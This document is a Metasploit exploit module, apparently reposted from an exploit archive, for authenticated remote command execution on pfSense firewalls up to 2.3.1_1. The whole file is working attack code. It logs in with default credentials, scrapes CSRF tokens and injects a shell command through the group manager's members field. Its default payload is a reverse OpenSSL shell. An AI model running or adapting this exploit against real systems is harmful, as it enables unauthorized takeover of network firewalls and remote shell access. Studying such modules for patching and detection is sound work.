pfSense 2.3.1_1 Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'pfSense authenticated group member RCE',  
'Description' => %q(  
pfSense, a free BSD based open source firewall distribution,  
version <= 2.3.1_1 contains a remote command execution  
vulnerability post authentication in the system_groupmanager.php page.  
Verified against 2.2.6 and 2.3.  
),  
'Author' =>  
[  
's4squatch', # discovery  
'h00die' # module  
],  
'References' =>  
[  
[ 'EDB', '43128' ],  
[ 'URL', 'https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc']  
],  
'License' => MSF_LICENSE,  
'Platform' => 'unix',  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'SSL' => true,  
'PAYLOAD' => 'cmd/unix/reverse_openssl'  
},  
'Arch' => [ ARCH_CMD ],  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'perl openssl'  
}  
},  
'Targets' =>  
[  
[ 'Automatic Target', {}]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 06 2017'  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),  
OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']),  
Opt::RPORT(443)  
], self.class  
)  
end  
  
def login  
res = send_request_cgi(  
'uri' => '/index.php',  
'method' => 'GET'  
)  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200  
  
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?  
vprint_status("CSRF Token for login: #{csrf}")  
  
res = send_request_cgi(  
'uri' => '/index.php',  
'method' => 'POST',  
'vars_post' => {  
'__csrf_magic' => csrf,  
'usernamefld' => datastore['USERNAME'],  
'passwordfld' => datastore['PASSWORD'],  
'login' => ''  
}  
)  
unless res  
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")  
end  
if res.code == 302  
vprint_status('Successful Authentication')  
return res.get_cookies  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")  
return nil  
end  
end  
  
def detect_version(cookie)  
res = send_request_cgi(  
'uri' => '/index.php',  
'method' => 'GET',  
'cookie' => cookie  
)  
unless res  
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")  
end  
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body  
if version  
print_status("pfSense Version Detected: #{version}")  
return Gem::Version.new(version)  
end  
# If the device isn't fully setup, you get stuck at redirects to wizard.php  
# however, this does NOT stop exploitation strangely  
print_error("pfSens Version Not Detected or wizard still enabled.")  
Gem::Version.new('0.0')  
end  
  
def check  
begin  
res = send_request_cgi(  
'uri' => '/index.php',  
'method' => 'GET'  
)  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200  
if /Login to pfSense/ =~ res.body  
Exploit::CheckCode::Detected  
else  
Exploit::CheckCode::Safe  
end  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
  
def exploit  
begin  
cookie = login  
version = detect_version(cookie)  
vprint_good('Login Successful')  
res = send_request_cgi(  
'uri' => '/system_groupmanager.php',  
'method' => 'GET',  
'cookie' => cookie,  
'vars_get' => {  
'act' => 'new'  
}  
)  
  
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?  
vprint_status("CSRF Token for group creation: #{csrf}")  
  
group_name = rand_text_alpha(10)  
post_vars = {  
'__csrf_magic' => csrf,  
'groupname' => group_name,  
'description' => '',  
'members[]' => "0';#{payload.encoded};'",  
'groupid' => '',  
'save' => 'Save'  
}  
if version >= Gem::Version.new('2.3')  
post_vars = post_vars.merge('gtype' => 'local')  
elsif version <= Gem::Version.new('2.3') # catch for 2.2.6. left this elsif for easy expansion to other versions as needed  
post_vars = post_vars.merge(  
'act' => '',  
'gtype' => '',  
'privid' => ''  
)  
end  
send_request_cgi(  
'uri' => '/system_groupmanager.php',  
'method' => 'POST',  
'cookie' => cookie,  
'vars_post' => post_vars,  
'vars_get' => {  
'act' => 'edit'  
}  
)  
print_status("Manual removal of group #{group_name} is required.")  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
end  
`